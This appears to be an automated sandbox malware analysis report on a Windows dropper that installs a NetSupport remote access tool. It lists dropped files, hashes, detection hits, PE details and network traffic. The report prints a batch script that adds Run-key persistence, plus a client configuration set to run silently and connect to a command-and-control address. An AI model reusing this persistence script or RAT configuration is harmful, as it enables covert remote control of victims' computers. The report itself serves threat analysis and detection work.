SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\PCICL32.DLL

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3735416
Entropy (8bit):	6.525042992590476
Encrypted:	false
SSDEEP:	49152:cTXNZ+0ci2aYNT8wstdAukudJ1xTvIZamclSp+73mPu:cTXNo0cpKwstTJIkS43mm
MD5:	00587238D16012152C2E951A087F2CC9
SHA1:	C4E27A43075CE993FF6BB033360AF386B2FC58FF
SHA-256:	63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8
SHA-512:	637950A1F78D3F3D02C30A49A16E91CF3DFCCC59104041876789BD7FDF9224D187209547766B91404C67319E13D1606DA7CEC397315495962CBF3E2CCD5F1226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(.t.I.'.I.'.I.'A..'.I.'...'.I.'.?#'.I.'...'.I.'.1.'.I.'.I.'.J.'.1.'.I.'.1.'.I.'..#',I.'.."'.I.'...'.I.'...'.I.'...'.I.'Rich.I.'................PE..L......V...........!......... ..............0................................9.....f-9.....................................4........`................8.x)...P7.p....@.......................P.......P..@............0..........`....................text............................... ..`.rdata.......0......................@..@.data....%..........................@....tls.........@......................@....hhshare.....P......................@....rsrc........`......................@..@.reloc..(2...P7..4....6.............@..B........................................................................................................................................................................................................

C:\Users\Public\Netstat\TCCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\bild.exe

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105848
Entropy (8bit):	4.68250265552195
Encrypted:	false
SSDEEP:	384:qTjV5+6j6Qa86Fkv2Wr120hZIqeTSGRp2TkFimMP:qHVZl6FhWr80/heT8TkFiH
MD5:	8D9709FF7D9C83BD376E01912C734F0A
SHA1:	E3C92713CE1D7EAA5E2B1FABEB06CDC0BB499294
SHA-256:	49A568F8AC11173E3A0D76CFF6BC1D4B9BDF2C35C6D8570177422F142DCFDBE3
SHA-512:	042AD89ED2E15671F5DF67766D11E1FA7ADA8241D4513E7C8F0D77B983505D63EBFB39FEFA590A2712B77D7024C04445390A8BF4999648F83DBAB6B0F04EB2EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\bild.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@..................................K....@.................................< ..<....0...i...........t..x).......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\client32.ini

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	701
Entropy (8bit):	5.5326954211374355
Encrypted:	false
SSDEEP:	12:yZqzd+mPZGS/py6z8BlsVTXuZ7+DP981E7GXXfDWQClnmSuYIAlkz6:QqzEmPZly6YBlLoG1fXXfDirIAaz6
MD5:	0F81A0520491093CA88F974D4FBAFE11
SHA1:	555B4DCF7612435066DE5B5DC319855A48D5EAF7
SHA-256:	2C27FB0A37F8BDFCCE98DAB852DEE3C2950C9810394A441A19ECE63C64DAF818
SHA-512:	7B68AE33017D28A37982E718F0393FF7047C43B50AAD595D48A0AC61268D6D4162319D8B41B9997B577649D323206A4764E5D502CBC3715DAD35692253D8A9E0
Malicious:	false
Preview:	0x137310df....[Client].._present=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAOeJWid73S6SvOyjjiTDVewA..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0......[HTTP]..GatewayAddress=45.76.253.210:443..gsk=EFHH;K>OBDEJ9A<I@BCB..gskmode=0..gsku=EFHH;K>OBDEJ9A<I@BCB..GSKX=EFHH;K>OBDEJ9A<I@BCB....

C:\Users\Public\Netstat\msvcr100.dll

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\netsup.bat

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.151957838855328
Encrypted:	false
SSDEEP:	6:hwszH1j0KpIAgidquH2QcfoZH1j0KpIAgidquH2QW3A:HVj0Kprgidqu++Vj0Kprgidqu2w
MD5:	7604BB3E3698A7074FF39ECA4195391F
SHA1:	F07E84CED88C3076B7A295FD845F7E420DCC3AF8
SHA-256:	FE14D5B612CC516A7DDE97E3FE93FE35573F808B036E9C9513FCEADCB1BCC751
SHA-512:	8639E1079F8E2DFD6AFB7CDCF4C6326B514A10C41841BEE035F62BA2234E60F13625515588787339CE1C469925595060EA2A9A1F2B3A60AA0D378F00540872C6
Malicious:	true
Preview:	@echo off..REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\bild.exe"..REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "%Public%\Netstat\bild.exe"..start %Public%\Netstat\bild.exe..

C:\Users\Public\Netstat\nskbfltr.inf

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\Public\Netstat\pcicapi.dll

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Netstat\remcmdstub.exe

Download File

Process:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77224
Entropy (8bit):	6.793971095882093
Encrypted:	false
SSDEEP:	1536:zfafvTuNOwphKuyUHTqYXHhrXH4+LIyrxomee/+5IrAee/DIr3:jafLSpAFUzt0+LIyr7eR5IUeCIz
MD5:	325B65F171513086438952A152A747C4
SHA1:	A1D1C397902FF15C4929A03D582B09B35AA70FC0
SHA-256:	26DBB528C270C812423C3359FC54D13C52D459CC0E8BC9B0D192725EDA34E534
SHA-512:	6829555AB3851064C3AAD2D0C121077DB0260790B95BF087B77990A040FEBD35B8B286F1593DCCAA81B24395BD437F5ADD02037418FD5C9C8C78DC0989A9A10D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L...c..c.....................J.......!............@.......................... ............@....................................<.......T................]..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.940363800405678
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
File size:	2'138'135 bytes
MD5:	47cfce938a71540a2039aebd5abe0783
SHA1:	641d20b31f5b2aba11746d1e533cbe4d4ee9c6ed
SHA256:	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d582b6d0b6f188306954
SHA512:	338c95a30ccfbfe81b9a12d6ce01a68fdc3ace65da5fff17ccd06dbb4aa135cdf5ce3947107fd2ea46d32406bf6b30c908b6af673268b7c2ca554a7b67ddd4a1
SSDEEP:	49152:VIf96RO0EkHbG+xw6NbHHBp7k5hhelN6YawnqLKwgVRl:VIFP6wYt5ShAiYawbwW
TLSH:	CBA52302F9C6C5B2D53308390A68AB55797DBF342F28DD6FA78D5E1ACA301917338A53
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~..............b.......b..<....b......)^...................................................... ....... .......%....... ......

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41d779
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C72EA7E [Sun Feb 24 19:03:26 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	00be6e6c4f9e287672c8301b72bdabf3

Entrypoint Preview

Instruction
call 00007FF324E6C4CFh
jmp 00007FF324E6BEC3h
cmp ecx, dword ptr [0043A1C8h]
jne 00007FF324E6C035h
ret
jmp 00007FF324E6C646h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00430FE8h
mov dword ptr [ecx], 00431994h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FF324E5F5CDh
mov dword ptr [esi], 004319A0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004319A8h
mov dword ptr [ecx], 004319A0h
ret
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00431988h
push eax
call 00007FF324E6F1DEh
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 00431988h
push eax
call 00007FF324E6F1C7h
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007FF324E6C03Ch
push 0000000Ch
push esi
call 00007FF324E6B602h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FF324E6BF9Eh
push 00437B58h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FF324E6E8C6h
int3
push ebp
mov ebp, esp
sub esp, 0Ch

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x38cd0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x38d04	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0xe034	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6c000	0x1fd0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x36ee0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x31928	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30000	0x25c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x38254	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2e864	0x2ea00	8c2dd3ebce78edeed565107466ae1d3e	False	0.5908595844504021	data	6.693477406609911	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x30000	0x9aac	0x9c00	b8d3a709e8e2861298e51f270be0f883	False	0.45718149038461536	data	5.133828516884417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x213d0	0xc00	7a066b052b7178cd1388c71d17dec570	False	0.2789713541666667	data	3.2428863859698565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x5c000	0xe8	0x200	0a8129f1f5d2e8ddcb61343ecd6f891a	False	0.33984375	data	2.0959167744603624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x5d000	0xe034	0xe200	d62594e063ef25acc085c21831d77a75	False	0.6341779590707964	data	6.802287495720703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6c000	0x1fd0	0x2000	983e78af74da826d9233ebaa3055869a	False	0.8060302734375	data	6.687357530503152	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x5d644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	1.0027729636048528
PNG	0x5e18c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	0.9363390441839495
RT_ICON	0x5f738	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	0.47832369942196534
RT_ICON	0x5fca0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	0.5410649819494585
RT_ICON	0x60548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	0.4933368869936034
RT_ICON	0x613f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	0.5390070921985816
RT_ICON	0x61858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	0.41393058161350843
RT_ICON	0x62900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	0.3479253112033195
RT_ICON	0x64ea8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9809269502193401
RT_DIALOG	0x68c1c	0x2a2	data	0.5296735905044511
RT_DIALOG	0x68ec0	0x13a	data	0.6624203821656051
RT_DIALOG	0x68ffc	0xf2	data	0.71900826446281
RT_DIALOG	0x690f0	0x14e	data	0.5868263473053892
RT_DIALOG	0x69240	0x318	data	0.476010101010101
RT_DIALOG	0x69558	0x24a	data	0.6262798634812287
RT_STRING	0x697a4	0x1fc	data	0.421259842519685
RT_STRING	0x699a0	0x246	data	0.41924398625429554
RT_STRING	0x69be8	0x1dc	data	0.5105042016806722
RT_STRING	0x69dc4	0xdc	data	0.65
RT_STRING	0x69ea0	0x468	data	0.375
RT_STRING	0x6a308	0x164	data	0.5056179775280899
RT_STRING	0x6a46c	0xe4	data	0.6359649122807017
RT_STRING	0x6a550	0x158	data	0.4563953488372093
RT_STRING	0x6a6a8	0xe8	data	0.5948275862068966
RT_STRING	0x6a790	0xe6	data	0.5695652173913044
RT_GROUP_ICON	0x6a878	0x68	data	0.7019230769230769
RT_MANIFEST	0x6a8e0	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	0.3957333333333333

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, GetTickCount, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T17:37:03.193758+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49730	45.76.253.210	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 17:37:03.193758011 CET	49730	443	192.168.2.4	45.76.253.210
Dec 24, 2024 17:37:03.193825960 CET	443	49730	45.76.253.210	192.168.2.4
Dec 24, 2024 17:37:03.193918943 CET	49730	443	192.168.2.4	45.76.253.210
Dec 24, 2024 17:37:03.493812084 CET	49730	443	192.168.2.4	45.76.253.210
Dec 24, 2024 17:37:03.493850946 CET	443	49730	45.76.253.210	192.168.2.4
Dec 24, 2024 17:37:03.493935108 CET	443	49730	45.76.253.210	192.168.2.4
Dec 24, 2024 17:37:04.249037981 CET	49731	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:04.371597052 CET	80	49731	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:04.371680975 CET	49731	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:04.371897936 CET	49731	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:04.491503954 CET	80	49731	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:05.673389912 CET	80	49731	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:05.673511982 CET	49731	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:05.679013014 CET	49731	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:05.679086924 CET	49731	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:05.680978060 CET	49732	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:05.800534010 CET	80	49732	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:05.800899982 CET	49732	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:05.801115036 CET	49732	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:05.920635939 CET	80	49732	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:07.094100952 CET	80	49732	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:07.094183922 CET	49732	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:07.094788074 CET	49732	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:07.094970942 CET	49732	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:07.095992088 CET	49733	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:07.215528011 CET	80	49733	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:07.215639114 CET	49733	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:07.215909958 CET	49733	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:07.335572004 CET	80	49733	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:08.511013031 CET	80	49733	104.26.1.231	192.168.2.4
Dec 24, 2024 17:37:08.511087894 CET	49733	80	192.168.2.4	104.26.1.231
